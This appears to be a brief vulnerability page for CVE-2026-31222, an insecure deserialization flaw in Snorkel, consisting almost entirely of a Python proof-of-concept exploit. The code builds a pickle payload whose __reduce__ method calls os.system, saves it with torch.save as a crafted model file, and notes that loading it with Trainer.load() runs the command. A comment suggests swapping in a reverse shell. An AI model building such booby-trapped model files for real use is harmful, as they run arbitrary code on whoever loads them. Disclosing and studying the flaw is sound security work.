CVE-2026-31222 Snorkel不安全反序列化漏洞

import os import torch import pickle # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # The command to execute (e.g., creating a file or running a shell) # In a real attack, this might be a reverse shell return (os.system, ('echo "CVE-2026-31222 Exploited" > /tmp/pwned.txt',)) # Create the malicious object malicious_obj = MaliciousPayload() # Save the object using torch.save (which uses pickle internally) # This simulates a crafted model file print("[*] Creating malicious model file...") torch.save(malicious_obj, 'malicious_model.pt') print("[+] File 'malicious_model.pt' created successfully.") print("[*] When a victim loads this file using Trainer.load(), the command will execute.") # Simulation of the vulnerable load (commented out for safety) # trainer = Trainer() # trainer.load('malicious_model.pt')